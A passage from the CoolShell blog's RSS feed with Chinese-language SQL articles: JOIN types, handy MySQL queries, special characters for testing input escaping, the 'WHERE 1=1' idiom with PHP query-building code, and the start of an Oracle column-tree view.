4   Spaghetti  <span style="color: gray;">null</span>  <span style="color: gray;">null</span></pre>
<p><strong>Left outer join</strong> 产生表A的完全集，而B表中匹配的则有值，没有匹配的则以null值取代。</td>
<td><img decoding="async" style="border: 0px initial initial;" alt="Venn diagram of SQL left join" src="https://coolshell.cn/wp-content/uploads/2011/01/Left_Outer_Join.png" border="0" /></td>
</tr>
<tr>
<td>
<pre>SELECT * FROM TableA
LEFT OUTER JOIN TableB
ON TableA.name = TableB.name
<strong>WHERE TableB.id IS null</strong> 

id  name       id     name
--  ----       --     ----
2   Monkey     <span style="color: gray;">null</span>   <span style="color: gray;">null</span>
4   Spaghetti  <span style="color: gray;">null</span>   <span style="color: gray;">null</span></pre>
<p>产生在A表中有而在B表中没有的集合。</td>
<td><img decoding="async" style="border: 0px initial initial;" alt="join-left-outer.png" src="https://coolshell.cn/wp-content/uploads/2011/01/Left_Out_Join_2.png" border="0" /></td>
</tr>
<tr>
<td>
<pre>SELECT * FROM TableA
FULL OUTER JOIN TableB
ON TableA.name = TableB.name
<strong>WHERE TableA.id IS null
OR TableB.id IS null
</strong>
id    name       id    name
--    ----       --    ----
2     Monkey     <span style="color: gray;">null</span>  <span style="color: gray;">null</span>
4     Spaghetti  <span style="color: gray;">null</span>  <span style="color: gray;">null</span>
<span style="color: gray;">null</span>  <span style="color: gray;">null</span>       1     Rutabaga
<span style="color: gray;">null</span>  <span style="color: gray;">null</span>       3     Darth Vader</pre>
<p>产生A表和B表都没有出现的数据集。</td>
<td><img decoding="async" style="border: 0px initial initial;" alt="join-outer.png" src="https://coolshell.cn/wp-content/uploads/2011/01/Full_Outer_Join_2.png" border="0" /></td>
</tr>
</tbody>
</table>
<p>还需要注册的是我们还有一个是“交差集” <strong>cross join</strong>, 这种Join没有办法用文式图表示，因为其就是把表A和表B的数据进行一个N*M的组合，即笛卡尔积。表达式如下：</p>
<pre>SELECT * FROM TableA
<strong>CROSS JOIN</strong> TableB</pre>
<p>这个笛卡尔乘积会产生 4 x 4 = 16 条记录，一般来说，我们很少用到这个语法。但是我们得小心，如果不是使用嵌套的select语句，一般系统都会产生笛卡尔乘积然再做过滤。这是对于性能来说是非常危险的，尤其是表很大的时候。</p>
<p><em><strong>更新:2014年3月30日</strong></em></p>
<p><img decoding="async" loading="lazy" class="aligncenter size-full wp-image-11371" alt="" src="https://coolshell.cn/wp-content/uploads/2011/01/SQL-Join.jpg" width="600" height="472" srcset="https://coolshell.cn/wp-content/uploads/2011/01/SQL-Join.jpg 600w, https://coolshell.cn/wp-content/uploads/2011/01/SQL-Join-300x236.jpg 300w" sizes="(max-width: 600px) 100vw, 600px" /></p>
<p>(全文完)<!--



<p align="center"><a href= target=_blank><img decoding="async" src=""></a></p>





<p align="center"><img decoding="async" src="https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg"> <img decoding="async" loading="lazy" src="https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg" width="300" height="300"> <br />关注CoolShell微信公众账号和微信小程序</p>

 

--></p>
<div style="margin-top: 15px; font-size: 16px;color: #cc0000;">
<p align="center"><strong>（转载本站文章请注明作者和出处 <a href="https://coolshell.cn/">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>
</div>

<div class="wp_rp_wrap  wp_rp_vertical_m" ><div class="wp_rp_content"><h3 class="related_post_title">相关文章</h3><ul class="related_post wp_rp"><li ><a href="https://coolshell.cn/articles/8711.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/uploads/2012/12/200906020837401710-150x150.jpg" alt="程序员疫苗：代码注入" width="150" height="150" /></a><a href="https://coolshell.cn/articles/8711.html" class="wp_rp_title">程序员疫苗：代码注入</a></li><li ><a href="https://coolshell.cn/articles/7490.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/uploads/2012/06/f1-150x150.jpg" alt="性能调优攻略" width="150" height="150" /></a><a href="https://coolshell.cn/articles/7490.html" class="wp_rp_title">性能调优攻略</a></li><li ><a href="https://coolshell.cn/articles/7270.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/uploads/2012/05/overview2-1-150x150.png" alt="NoSQL 数据建模技术" width="150" height="150" /></a><a href="https://coolshell.cn/articles/7270.html" class="wp_rp_title">NoSQL 数据建模技术</a></li><li ><a href="https://coolshell.cn/articles/6639.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/uploads/2012/02/programming-language-150x150.jpg" alt="千万别惹程序员 " width="150" height="150" /></a><a href="https://coolshell.cn/articles/6639.html" class="wp_rp_title">千万别惹程序员 </a></li><li ><a href="https://coolshell.cn/articles/3433.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/10.jpg" alt="6个有用的MySQL语句" width="150" height="150" /></a><a href="https://coolshell.cn/articles/3433.html" class="wp_rp_title">6个有用的MySQL语句</a></li><li ><a href="https://coolshell.cn/articles/1957.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/9.jpg" alt="Web程序的最佳测试数据" width="150" height="150" /></a><a href="https://coolshell.cn/articles/1957.html" class="wp_rp_title">Web程序的最佳测试数据</a></li></ul></div></div>The post <a href="https://coolshell.cn/articles/3463.html">图解SQL的Join</a> first appeared on <a href="https://coolshell.cn">酷 壳 - CoolShell</a>.]]></content:encoded>
					
					<wfw:commentRss>https://coolshell.cn/articles/3463.html/feed</wfw:commentRss>
			<slash:comments>184</slash:comments>
		
		
			</item>
		<item>
		<title>6个有用的MySQL语句</title>
		<link>https://coolshell.cn/articles/3433.html</link>
					<comments>https://coolshell.cn/articles/3433.html#comments</comments>
		
		<dc:creator><![CDATA[陈皓]]></dc:creator>
		<pubDate>Fri, 31 Dec 2010 00:29:35 +0000</pubDate>
				<category><![CDATA[数据库]]></category>
		<category><![CDATA[MySQL]]></category>
		<category><![CDATA[SQL]]></category>
		<guid isPermaLink="false">http://coolshell.cn/?p=3433</guid>

					<description><![CDATA[<p>以前本站给大家介绍过《MySQL性能优化的最佳20+条经验》，今天给大家介绍六条比较有用的MySQL的SQL语句，可能很多人都通过PHP来实现这些功能。 1. ...</p>
<p class="read-more"><a class="btn btn-default" href="https://coolshell.cn/articles/3433.html"> Read More<span class="screen-reader-text">  Read More</span></a></p>
The post <a href="https://coolshell.cn/articles/3433.html">6个有用的MySQL语句</a> first appeared on <a href="https://coolshell.cn">酷 壳 - CoolShell</a>.]]></description>
										<content:encoded><![CDATA[<p><script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158"
     crossorigin="anonymous"></script>以前本站给大家介绍过《<a rel="bookmark" href="https://coolshell.cn/articles/1846.html" target="_blank">MySQL性能优化的最佳20+条经验</a>》，今天给大家介绍六条比较有用的MySQL的SQL语句，可能很多人都通过PHP来实现这些功能。</p>
<h4>1. 计算年数</h4>
<p>你想通过生日来计算这个人有几岁了。</p>
<pre data-enlighter-language="sql" class="EnlighterJSRAW">

SELECT DATE_FORMAT(FROM_DAYS(TO_DAYS(now()) - TO_DAYS(@dateofbirth)), &#039;%Y&#039;) + 0;
</pre>
<h4>2. 两个时间的差</h4>
<p>取得两个 datetime 值的差。假设 dt1 和 dt2 是 datetime 类型，其格式为 ‘yyyy-mm-dd hh:mm:ss’，那么它们之间所差的秒数为：</p>
<pre data-enlighter-language="sql" class="EnlighterJSRAW">

UNIX_TIMESTAMP( dt2 ) - UNIX_TIMESTAMP( dt1 )
</pre>
<p>除以60就是所差的分钟数，除以3600就是所差的小时数，再除以24就是所差的天数。</p>
<h4>3. 显示某一列出现过N次的值</h4>
<pre data-enlighter-language="sql" class="EnlighterJSRAW">

SELECT id
FROM tbl
GROUP BY id
HAVING COUNT(*) = N;
</pre>
<p><span id="more-3433"></span></p>
<h4>4. 计算两个日子间的工作日</h4>
<p>所谓工作日就是除出周六周日和节假日。</p>
<pre data-enlighter-language="sql" class="EnlighterJSRAW">

SELECT COUNT(*)
FROM calendar
WHERE d BETWEEN Start AND Stop
  AND DAYOFWEEK(d) NOT IN(1,7)
  AND holiday=0;
</pre>
<h4>5. 查找表中的主键</h4>
<pre data-enlighter-language="sql" class="EnlighterJSRAW">

SELECT k.column_name
FROM information_schema.table_constraints t
JOIN information_schema.key_column_usage k
USING (constraint_name,table_schema,table_name)
WHERE t.constraint_type=&#039;PRIMARY KEY&#039;
  AND t.table_schema=&#039;db&#039;
  AND t.table_name=tbl&#039;
</pre>
<h4>6. 查看你的数库有多大</h4>
<pre data-enlighter-language="sql" class="EnlighterJSRAW">

SELECT
  table_schema AS &#039;Db Name&#039;,
  Round( Sum( data_length + index_length ) / 1024 / 1024, 3 ) AS &#039;Db Size (MB)&#039;,
  Round( Sum( data_free ) / 1024 / 1024, 3 ) AS &#039;Free Space (MB)&#039;
FROM information_schema.tables
GROUP BY table_schema ;
</pre>
<p>希望对你有帮助。</p>
<p>文章：<a href="http://www.codeforest.net/6-useful-mysql-queries" target="_blank">来源</a><!--



<p align="center"><a href= target=_blank><img decoding="async" src=""></a></p>





<p align="center"><img decoding="async" src="https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg"> <img decoding="async" loading="lazy" src="https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg" width="300" height="300"> <br />关注CoolShell微信公众账号和微信小程序</p>

 

--></p>
<div style="margin-top: 15px; font-size: 16px;color: #cc0000;">
<p align="center"><strong>（转载本站文章请注明作者和出处 <a href="https://coolshell.cn/">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>
</div>

<div class="wp_rp_wrap  wp_rp_vertical_m" ><div class="wp_rp_content"><h3 class="related_post_title">相关文章</h3><ul class="related_post wp_rp"><li ><a href="https://coolshell.cn/articles/7490.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/uploads/2012/06/f1-150x150.jpg" alt="性能调优攻略" width="150" height="150" /></a><a href="https://coolshell.cn/articles/7490.html" class="wp_rp_title">性能调优攻略</a></li><li ><a href="https://coolshell.cn/articles/925.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/12.jpg" alt="如何比较两个数据表" width="150" height="150" /></a><a href="https://coolshell.cn/articles/925.html" class="wp_rp_title">如何比较两个数据表</a></li><li ><a href="https://coolshell.cn/articles/8711.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/uploads/2012/12/200906020837401710-150x150.jpg" alt="程序员疫苗：代码注入" width="150" height="150" /></a><a href="https://coolshell.cn/articles/8711.html" class="wp_rp_title">程序员疫苗：代码注入</a></li><li ><a href="https://coolshell.cn/articles/7270.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/uploads/2012/05/overview2-1-150x150.png" alt="NoSQL 数据建模技术" width="150" height="150" /></a><a href="https://coolshell.cn/articles/7270.html" class="wp_rp_title">NoSQL 数据建模技术</a></li><li ><a href="https://coolshell.cn/articles/6639.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/uploads/2012/02/programming-language-150x150.jpg" alt="千万别惹程序员 " width="150" height="150" /></a><a href="https://coolshell.cn/articles/6639.html" class="wp_rp_title">千万别惹程序员 </a></li><li ><a href="https://coolshell.cn/articles/4939.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg" alt="Quora使用到的技术" width="150" height="150" /></a><a href="https://coolshell.cn/articles/4939.html" class="wp_rp_title">Quora使用到的技术</a></li></ul></div></div>The post <a href="https://coolshell.cn/articles/3433.html">6个有用的MySQL语句</a> first appeared on <a href="https://coolshell.cn">酷 壳 - CoolShell</a>.]]></content:encoded>
					
					<wfw:commentRss>https://coolshell.cn/articles/3433.html/feed</wfw:commentRss>
			<slash:comments>9</slash:comments>
		
		
			</item>
		<item>
		<title>Web程序的最佳测试数据</title>
		<link>https://coolshell.cn/articles/1957.html</link>
					<comments>https://coolshell.cn/articles/1957.html#comments</comments>
		
		<dc:creator><![CDATA[陈皓]]></dc:creator>
		<pubDate>Tue, 15 Dec 2009 07:50:35 +0000</pubDate>
				<category><![CDATA[Web开发]]></category>
		<category><![CDATA[编程语言]]></category>
		<category><![CDATA[HTML]]></category>
		<category><![CDATA[JSON]]></category>
		<category><![CDATA[SQL]]></category>
		<category><![CDATA[Unicode]]></category>
		<category><![CDATA[转义]]></category>
		<guid isPermaLink="false">http://coolshell.cn/?p=1957</guid>

					<description><![CDATA[<p>这里有一篇Matthias写的关于转义字符文章-“The art of escaping”，这篇文章告诉你有一些比较特殊的字符需要你去认真的处理，不然，你的网站...</p>
<p class="read-more"><a class="btn btn-default" href="https://coolshell.cn/articles/1957.html"> Read More<span class="screen-reader-text">  Read More</span></a></p>
The post <a href="https://coolshell.cn/articles/1957.html">Web程序的最佳测试数据</a> first appeared on <a href="https://coolshell.cn">酷 壳 - CoolShell</a>.]]></description>
										<content:encoded><![CDATA[<p><script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158"
     crossorigin="anonymous"></script></p>
<p style="text-align: left;">这里有一篇Matthias写的<a title="The art of escaping" href="http://united-coders.com/matthias-reuter/the-art-of-escaping">关于转义字符文章-“The art of escaping”</a>，这篇文章告诉你有一些比较特殊的字符需要你去认真的处理，不然，你的网站程序轻则出错，重则被人黑了。这些物殊的字符是[<code>&lt;"@%'&amp;_\?/:;,&gt;কী €</code>] ，你可以使用这个字符串到任意一个可以输入的Web程序上去做测试。</p>
<p>下面这个表格告诉你为什么这些字符很特殊。这个列表不会是完整的，而且也永远不会完整。<br />
<center></p>
<table border="0">
<thead>
<tr>
<th>相关领域</th>
<th>转义字符</th>
</tr>
</thead>
<tbody>
<tr>
<td><a title="W3C" href="http://www.w3.org/">HTML</a></td>
<td>&lt; , &gt; , &amp;</td>
</tr>
<tr>
<td><a title="JSON-Resource" href="http://json.org/">JSON</a></td>
<td>&#8220;</td>
</tr>
<tr>
<td><a title="mysql character" href="http://dev.mysql.com/doc/refman/5.0/en/string-syntax.html">SQL</a> in mySql</td>
<td>字符串 &#8220;, &#8216;, 通配符 %, _</td>
</tr>
<tr>
<td><a title="rfc 1738 for urls" href="http://www.faqs.org/rfcs/rfc1738.html">rfc 1738</a> for URL-parameter</td>
<td>;, /, ?, :, &#8220;, @, =, &amp; 空格</td>
</tr>
</tbody>
</table>
<p></center><br />
把这些转义字符放在一起，然后再整些 utf-8 的一些特殊字符。这些utf-8的字符你可以参看本站的<a rel="bookmark" href="https://coolshell.cn/articles/1331.html">Unicode字符预览表</a>一文，并从中获取。另外，你还可以使用下面的这些工具来对你的程序进行调试或检查：</p>
<ul>
<li>一个高级Web调试插件： <a title="firebug plugin" href="https://addons.mozilla.org/de/firefox/addon/1843">firebug</a></li>
<li>标准的请求/响应插件： <a href="https://addons.mozilla.org/de/firefox/addon/3829">Live HTTP headers</a></li>
<li>一些抓包程序： <a href="https://addons.mozilla.org/en-US/firefox/addon/6647">HTTPfox</a> or <a href="https://addons.mozilla.org/en-US/firefox/addon/966">tamper data</a></li>
<li>IE的开发者可以试试这个：<a href="http://www.fiddler2.com/fiddler2/">Fiddler.com</a></li>
</ul>
<p>如果上面的工具都不能帮助你的话，你可能需要打调试日志，或是使用一个透明的代理服务器：如： <a href="http://www.charlesproxy.com/">Charles Web Debugging Proxy</a> （Windows）</p>
<p>（全文完）<!--



<p align="center"><a href= target=_blank><img decoding="async" src=""></a></p>





<p align="center"><img decoding="async" src="https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg"> <img decoding="async" loading="lazy" src="https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg" width="300" height="300"> <br />关注CoolShell微信公众账号和微信小程序</p>

 

--></p>
<div style="margin-top: 15px; font-size: 16px;color: #cc0000;">
<p align="center"><strong>（转载本站文章请注明作者和出处 <a href="https://coolshell.cn/">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>
</div>

<div class="wp_rp_wrap  wp_rp_vertical_m" ><div class="wp_rp_content"><h3 class="related_post_title">相关文章</h3><ul class="related_post wp_rp"><li ><a href="https://coolshell.cn/articles/3684.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/uploads/2011/02/1128-150x150.jpg" alt="Web开发人员速查卡" width="150" height="150" /></a><a href="https://coolshell.cn/articles/3684.html" class="wp_rp_title">Web开发人员速查卡</a></li><li ><a href="https://coolshell.cn/articles/21649.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/uploads/2021/11/il_340x270_pggv-150x150.jpg" alt="源代码特洛伊木马攻击" width="150" height="150" /></a><a href="https://coolshell.cn/articles/21649.html" class="wp_rp_title">源代码特洛伊木马攻击</a></li><li ><a href="https://coolshell.cn/articles/17634.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/uploads/2017/01/pretty-code-150x150.gif" alt="Chrome开发者工具的小技巧" width="150" height="150" /></a><a href="https://coolshell.cn/articles/17634.html" class="wp_rp_title">Chrome开发者工具的小技巧</a></li><li ><a href="https://coolshell.cn/articles/12206.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/uploads/2014/12/html6-150x150.jpeg" alt="HTML6 展望" width="150" height="150" /></a><a href="https://coolshell.cn/articles/12206.html" class="wp_rp_title">HTML6 展望</a></li><li ><a href="https://coolshell.cn/articles/9666.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/uploads/2013/05/Render-Process-150x150.jpg" alt="浏览器的渲染原理简介" width="150" height="150" /></a><a href="https://coolshell.cn/articles/9666.html" class="wp_rp_title">浏览器的渲染原理简介</a></li><li ><a href="https://coolshell.cn/articles/8711.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/uploads/2012/12/200906020837401710-150x150.jpg" alt="程序员疫苗：代码注入" width="150" height="150" /></a><a href="https://coolshell.cn/articles/8711.html" class="wp_rp_title">程序员疫苗：代码注入</a></li></ul></div></div>The post <a href="https://coolshell.cn/articles/1957.html">Web程序的最佳测试数据</a> first appeared on <a href="https://coolshell.cn">酷 壳 - CoolShell</a>.]]></content:encoded>
					
					<wfw:commentRss>https://coolshell.cn/articles/1957.html/feed</wfw:commentRss>
			<slash:comments>1</slash:comments>
		
		
			</item>
		<item>
		<title>SQL的Where语句</title>
		<link>https://coolshell.cn/articles/1889.html</link>
					<comments>https://coolshell.cn/articles/1889.html#comments</comments>
		
		<dc:creator><![CDATA[陈皓]]></dc:creator>
		<pubDate>Tue, 01 Dec 2009 05:48:25 +0000</pubDate>
				<category><![CDATA[编程语言]]></category>
		<category><![CDATA[轶事趣闻]]></category>
		<category><![CDATA[Database]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[SQL]]></category>
		<guid isPermaLink="false">http://coolshell.cn/?p=1889</guid>

					<description><![CDATA[<p>某DBA在查看自己的数库日志的时候，看到了数据库服务器上出现了很多很怪异的SQL的Where条件语句，是下面这个样子：（所有的where语句前都有了一个叫“1=...</p>
<p class="read-more"><a class="btn btn-default" href="https://coolshell.cn/articles/1889.html"> Read More<span class="screen-reader-text">  Read More</span></a></p>
The post <a href="https://coolshell.cn/articles/1889.html">SQL的Where语句</a> first appeared on <a href="https://coolshell.cn">酷 壳 - CoolShell</a>.]]></description>
										<content:encoded><![CDATA[<p><script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158"
     crossorigin="anonymous"></script>某DBA在查看自己的数库日志的时候，看到了数据库服务器上出现了很多很怪异的SQL的Where条件语句，是下面这个样子：（所有的where语句前都有了一个叫“1=1”的子条件）呵呵。</p>
<p style="text-align: center;"><img decoding="async" loading="lazy" class="alignnone size-full wp-image-1890" title="SQL Where Clause" src="https://coolshell.cn/wp-content/uploads/2009/12/sql.where_.clause.jpg" alt="SQL Where Clause" width="460" height="631" srcset="https://coolshell.cn/wp-content/uploads/2009/12/sql.where_.clause.jpg 460w, https://coolshell.cn/wp-content/uploads/2009/12/sql.where_.clause-219x300.jpg 219w, https://coolshell.cn/wp-content/uploads/2009/12/sql.where_.clause-197x270.jpg 197w" sizes="(max-width: 460px) 100vw, 460px" /></p>
<p>要理解这个事情的原因其实并不难。只要你是一个编写数据库的程序员，你就会知道——动态生成where后的条件的“麻烦”，那就是条件的“分隔”-and或or。下面听我慢慢说来。</p>
<p><span id="more-1889"></span></p>
<p>我们知道，大多数的查询表单都需要用户输出一堆查询条件，然后我们的程序在后台要把这些子条件用and组合起来。于是，把and加在各个条件的中间就成为了一件“难事”，因为你的程序需要判断：</p>
<ul>
<li>如果没有条件的话，则不需要where</li>
<li>如果只有一个条件的话，不需要and.</li>
<li>如果有多个条件的话，
<ul>
<li>如果and是持续加在每个条件后面的话，那么就要判断是否是最后一个条件，因为最后一个不能加and.</li>
<li>同样，如果and是要加在每个条件前面的话，你就需要判断是否是第一个，如果是，那就不加。</li>
</ul>
</li>
</ul>
<p>真是TMD太烦了，所以，编程“大拿”引入了“1=1”条件语句。于是，编程的难度大幅度下降，你可以用单一的方式来处理这若干的查询子条件了。而1=1应该会被数据库引擎优化时给去掉了。</p>
<pre data-enlighter-language="php" class="EnlighterJSRAW">
&lt;pre&gt;&lt;code&gt;$query = &quot;SELECT name FROM table WHERE 1=1 &quot;;

foreach($clauses as $key =&gt; $value){
    $query .= &quot; AND &quot;.escape($key).&quot;=&quot;.escape($value).&quot; &quot;;
}
&lt;/code&gt;&lt;/pre&gt;
</pre>
<p>呵呵，<strong>DBA怎么能够理解我们疯狂程序员的用心良苦啊</strong>。</p>
<p>另外，在这里说一下，这样的做法看似很愚蠢，但很有效，在PHP的世界中，也有人使用下面这样的做法——使用了PHP的implode函数。</p>
<pre data-enlighter-language="php" class="EnlighterJSRAW">
&lt;pre&gt;&lt;code&gt;/**
 * @param string $base base of query, e.g. UPDATE table SET
 * @param string $logic logic for concatenating $assoc, e.g. AND
 * @param array $assoc associative array of `field`=&gt;&#039;value&#039; pairs to concatenate and append to $base
 * @param string $suffix additional clauses, e.g. LIMIT 0,30
 * @return string
 */
function construct_sql($base, $logic, $clauses, $suffix=&#039;&#039;)
{
    // initialise array to avoid warnings/notices on some PHP installations
    $queries = array();

    // create array of strings to be glued together by logic
    foreach($clauses as $key =&gt; $value)
        $queries[] = &quot;`&quot; . escape($key) . &quot;`=&#039;&quot; . escape($value) . &quot;&#039;&quot;;

    // add a space in case $base doesn&#039;t have a space at the end and glue clauses together
    $query .= &quot; &quot; . implode(&quot; $logic &quot;,$queries) . &quot; &quot; . $suffix . &quot;;&quot;;

    return $query;
}

/**
 * @param string $str string to escape for intended use
 * @return string
 */
function escape($str)
{
    return mysql_real_escape_string($str);
}
&lt;/code&gt;&lt;/pre&gt;
</pre>
<p>于是，我们可以这样使用：（<code>为什么我们要在update语句后加上“Limit 1”呢？这个关系到性能问题，关于这方面的话题，你可以查看本站的《<a title="MySQL性能优化的最佳20+条经验" href="https://coolshell.cn/articles/1846.html">MySQL性能优化的最佳20+条经验</a>》</code>）</p>
<pre data-enlighter-language="php" class="EnlighterJSRAW">
&lt;pre&gt;&lt;code&gt;$updates = array(
    &#039;field1&#039;=&gt;&#039;val1&#039;
    &#039;field2&#039;=&gt;&#039;val2&#039;
);
$wheres = array(
    &#039;field1&#039;=&gt;&#039;cond1&#039;,
    &#039;field2&#039;=&gt;&#039;cond2&#039;
);
echo construct_sql(construct_sql(&quot;UPDATE table SET&quot;, &quot;, &quot;, $updates) . &quot; WHERE &quot;, &quot; AND &quot;, $wheres),&quot;LIMIT 1&quot;);
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;/pre&gt;
</pre>
<p><code>下面是输出结果：</code></p>
<p><code data-enlighter-language="php" class="EnlighterJSRAW">UPDATE table SET `field1`=&#039;val1&#039;, `field2`=&#039;val2&#039; WHERE `field1`=&#039;cond1&#039; AND `field2`=&#039;cond2&#039; LIMIT 1;</code></p>
<p> </p>
<p><code>（全文完）</code><!--



<p align="center"><a href= target=_blank><img decoding="async" src=""></a></p>





<p align="center"><img decoding="async" src="https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg"> <img decoding="async" loading="lazy" src="https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg" width="300" height="300"> <br />关注CoolShell微信公众账号和微信小程序</p>

 

--></p>
<div style="margin-top: 15px; font-size: 16px;color: #cc0000;">
<p align="center"><strong>（转载本站文章请注明作者和出处 <a href="https://coolshell.cn/">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>
</div>

<div class="wp_rp_wrap  wp_rp_vertical_m" ><div class="wp_rp_content"><h3 class="related_post_title">相关文章</h3><ul class="related_post wp_rp"><li ><a href="https://coolshell.cn/articles/7270.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/uploads/2012/05/overview2-1-150x150.png" alt="NoSQL 数据建模技术" width="150" height="150" /></a><a href="https://coolshell.cn/articles/7270.html" class="wp_rp_title">NoSQL 数据建模技术</a></li><li ><a href="https://coolshell.cn/articles/4795.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/7.jpg" alt="开源中最好的Web开发的资源" width="150" height="150" /></a><a href="https://coolshell.cn/articles/4795.html" class="wp_rp_title">开源中最好的Web开发的资源</a></li><li ><a href="https://coolshell.cn/articles/1846.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/uploads/2009/11/unoptimized_explain-150x150.jpg" alt="MySQL性能优化的最佳20+条经验" width="150" height="150" /></a><a href="https://coolshell.cn/articles/1846.html" class="wp_rp_title">MySQL性能优化的最佳20+条经验</a></li><li ><a href="https://coolshell.cn/articles/8711.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/uploads/2012/12/200906020837401710-150x150.jpg" alt="程序员疫苗：代码注入" width="150" height="150" /></a><a href="https://coolshell.cn/articles/8711.html" class="wp_rp_title">程序员疫苗：代码注入</a></li><li ><a href="https://coolshell.cn/articles/7886.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/uploads/2012/07/muxnt-150x150.jpg" alt="代码执行的效率" width="150" height="150" /></a><a href="https://coolshell.cn/articles/7886.html" class="wp_rp_title">代码执行的效率</a></li><li ><a href="https://coolshell.cn/articles/7490.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/uploads/2012/06/f1-150x150.jpg" alt="性能调优攻略" width="150" height="150" /></a><a href="https://coolshell.cn/articles/7490.html" class="wp_rp_title">性能调优攻略</a></li></ul></div></div>The post <a href="https://coolshell.cn/articles/1889.html">SQL的Where语句</a> first appeared on <a href="https://coolshell.cn">酷 壳 - CoolShell</a>.]]></content:encoded>
					
					<wfw:commentRss>https://coolshell.cn/articles/1889.html/feed</wfw:commentRss>
			<slash:comments>20</slash:comments>
		
		
			</item>
		<item>
		<title>【原创】SQL栏目树的代码</title>
		<link>https://coolshell.cn/articles/962.html</link>
					<comments>https://coolshell.cn/articles/962.html#comments</comments>
		
		<dc:creator><![CDATA[whl]]></dc:creator>
		<pubDate>Thu, 04 Jun 2009 16:03:13 +0000</pubDate>
				<category><![CDATA[数据库]]></category>
		<category><![CDATA[编程语言]]></category>
		<category><![CDATA[Oracle]]></category>
		<category><![CDATA[SQL]]></category>
		<category><![CDATA[栏目树]]></category>
		<guid isPermaLink="false">http://coolshell.cn/?p=962</guid>

					<description><![CDATA[<p>本文由网友whl供稿，特此感谢！ /**   * Desc: 取栏目树 ,过滤用户权限和无效栏目   * Author: WHL   * Date: 2009-...</p>
<p class="read-more"><a class="btn btn-default" href="https://coolshell.cn/articles/962.html"> Read More<span class="screen-reader-text">  Read More</span></a></p>
The post <a href="https://coolshell.cn/articles/962.html">【原创】SQL栏目树的代码</a> first appeared on <a href="https://coolshell.cn">酷 壳 - CoolShell</a>.]]></description>
										<content:encoded><![CDATA[<p><script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158"
     crossorigin="anonymous"></script>本文由网友whl供稿，特此感谢！<br />
/**<br />
  * Desc: 取栏目树 ,过滤用户权限和无效栏目<br />
  * Author: WHL<br />
  * Date: 2009-05-31 15:17<br />
  */<br />
<span id="more-962"></span><br />
 <br />
/** 1. 取某用户有权限（np_cms_column_security表有记录且t.action_1 = &#8216;1&#8217;）的栏目的树 **/</p>
<pre data-enlighter-language="sql" class="EnlighterJSRAW">create or replace view V_NP_CTREE_BS as
select B.* from (
select A.*, lag(A.column_id) over(partition by A.column_id order by 0 ) RK
  from (select /*+choose */
         t.*
          from np_cms_column t
         where t.is_active = &#039;1&#039;
        connect by prior t.column_id = t.parent_id
         start with t.column_id in (select t.column_id
                                      from np_cms_column_security t
                                     where t.subject_id = &#039;mazj&#039;
                                          /*这里添加角色过滤*/
                                       and t.action_1 = &#039;1&#039;))A) B
 where not exists
 (select 0
          from (select distinct d.column_id
                  from np_cms_column d
                connect by prior d.column_id = d.parent_id
                 start with d.column_id in
                    (select t.column_id
                       from np_cms_column_security t
                      where t.subject_id = &#039;mazj&#039;
                           /* 这里添加角色过滤*/
                        and t.action_1 = &#039;0&#039;
                           /* 排除有权限树下的非授权ID,既 Action_1=0的*/
                        and exists
                      (select 0
                               from (select distinct d.column_id
                                       from np_cms_column d
                                     connect by prior d.column_id =
                                                 d.parent_id
                                      start with d.column_id in
                                                 (select t.column_id
                                                    from np_cms_column_security t
                                                   where t.subject_id =
                                                         &#039;mazj&#039;
                                                        /*这里添加角色过滤*/
                                                     and t.action_1 = &#039;1&#039;)) C1
